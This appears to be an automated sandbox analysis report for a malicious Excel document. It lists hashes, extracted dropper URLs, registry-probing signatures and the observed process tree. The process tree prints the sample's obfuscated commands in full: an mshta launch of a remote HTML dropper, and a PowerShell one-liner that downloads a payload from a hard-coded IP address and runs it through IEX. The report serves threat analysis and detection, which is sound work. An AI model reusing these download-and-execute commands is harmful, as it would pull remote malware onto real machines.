8367f873c806ac8d56f4ddb2f158e4d559c67dc1d7b66ac3221cd28a2c8079f9

General

Target
8614f257048222da423e77b3eb2dbf02.xls
Size 141KB
Sample220120-wlvw1sbab3
SHA256 8367f873c806ac8d56f4ddb2f158e4d559c67dc1d7b66ac3221cd28a2c8079f9
MD5 8614f257048222da423e77b3eb2dbf02
SHA1 cd10af0d741df96c84f440d39a963eac73f22bac
SHA512 9b5b8f7e0067bf8bcabba41c620342fc6dc8113523d38c905fd13e7e026c19461f8a9c644a67775271d16bd0ae48a06ee2093a923ee4b2aff69d77b648557a0f
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2316	1936	cmd.exe	51

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1792	3180	WerFault.exe	69

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1936	EXCEL.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1936	EXCEL.EXE
1936	EXCEL.EXE
1936	EXCEL.EXE
1936	EXCEL.EXE
1936	EXCEL.EXE
1936	EXCEL.EXE
1936	EXCEL.EXE
1936	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1936 wrote to memory of 3696	1936	EXCEL.EXE	63
PID 1936 wrote to memory of 3696	1936	EXCEL.EXE	63
PID 1936 wrote to memory of 2316	1936	EXCEL.EXE	67
PID 1936 wrote to memory of 2316	1936	EXCEL.EXE	67

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8614f257048222da423e77b3eb2dbf02.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3696
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  PID:2316
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    PID:3180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3416
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3180 -s 1724
      4⤵
      Program crash
      PID:1792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1080

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 424 -p 3180 -ip 3180
1⤵
PID:1232

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1936-130-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

Download

memory/1936-132-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

Download

memory/1936-131-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

Download

memory/1936-133-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

Download

memory/1936-134-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

Download

memory/1936-143-0x00007FFD58110000-0x00007FFD58120000-memory.dmp

Download

memory/1936-144-0x00007FFD58110000-0x00007FFD58120000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads